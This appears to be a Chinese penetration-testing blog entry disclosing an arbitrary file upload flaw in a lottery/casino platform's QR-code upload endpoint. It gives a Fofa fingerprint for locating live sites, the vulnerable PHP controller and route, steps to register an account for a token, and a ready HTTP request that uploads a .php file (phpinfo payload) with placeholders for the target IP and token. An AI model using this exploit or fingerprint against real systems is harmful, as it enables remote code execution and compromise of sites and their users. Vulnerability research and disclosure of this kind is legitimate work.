记录一点渗透学习经历(持续更新)

免责声明:文章中涉及的程序(方法)仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任!!!

某火cai票娱乐城系统前台任意文件上传漏洞

原文仅作学习用

Fofa指纹:”/action-sheet-fix.css”

框架:Leavel

漏洞点位于 /api/app/controller/api/WithdrawController.php 控制器的uploadQrCode 方法

通过 $file->move() 上传文件,且过滤不严格,导致任意文件上传漏洞产生

public function uploadQrCode(Request $request)
  {
    $userId = $request->userId ?? 0;

    if (!$userId) {
      return json(['code' => 401, 'message' => '请先登录', 'data' => null]);
    }

    try {
      $file = $request->file('file');
      if (!$file || !$file->isValid()) {
        return json(['code' => 400, 'message' => '请选择要上传的图片', 'data' => null]);
      }


      $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
      $uploadMimeType = $file->getUploadMimeType();
      if (!in_array($uploadMimeType, $allowedTypes)) {
        return json(['code' => 400, 'message' => '只支持 JPG、PNG、GIF、WEBP 格式图片', 'data' => null]);
      }


      if ($file->getSize() > 5 * 1024 * 1024) {
        return json(['code' => 400, 'message' => '图片大小不能超过5MB', 'data' => null]);
      }


      $ext = $file->getUploadExtension() ?: 'jpg';
      $filename = 'qrcode/' . date('Ymd') . '/' . uniqid() . '_' . $userId . '.' . $ext;


      $dir = public_path() . '/uploads/qrcode/' . date('Ymd');
      if (!is_dir($dir)) {
        mkdir($dir, 0755, true);
      }


      $savePath = public_path() . '/uploads/' . $filename;
      $file->move($savePath);


      $host = $request->host();
      $scheme = $request->header('X-Forwarded-Proto') ?: ($request->header('scheme') ?: 'http');
      $url = $scheme . '://' . $host . '/uploads/' . $filename;

      return json([
                  'code' => 0,
                  'message' => '上传成功',
                  'data' => [
                  'url' => $url
                  ]
                  ]);

    } catch (\Exception $e) {
      \support\Log::error('上传收款码失败: ' . $e->getMessage());
      return json(['code' => 500, 'message' => '上传失败: ' . $e->getMessage(), 'data' => null]);
    }
  }

查看 /api/config/route.php 路由文件,查找 uploadQrCode 方法对应的路由


Route::group('/api/v1', function () {
      Route::post('/withdraw/upload-qrcode', [app\controller\api\WithdrawController::class, 'uploadQrCode']);
})->middleware([
    app\middleware\AuthMiddleware::class,
]);

实际请求路径为 /api/v1/withdraw/upload-qrcode

然后去主页注册一个账号,这系统邀请码是选填的,可以随便注册

拿到 authorization,之后替换Authorization直接发送请求包

POST /api/v1/withdraw/upload-qrcode HTTP/2
Host: 替换IP
Content-Length: 199
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT2GEWpMD4SoAY0IG
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 替换token

------WebKitFormBoundaryT2GEWpMD4SoAY0IG
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryT2GEWpMD4SoAY0IG--

上一篇
下一篇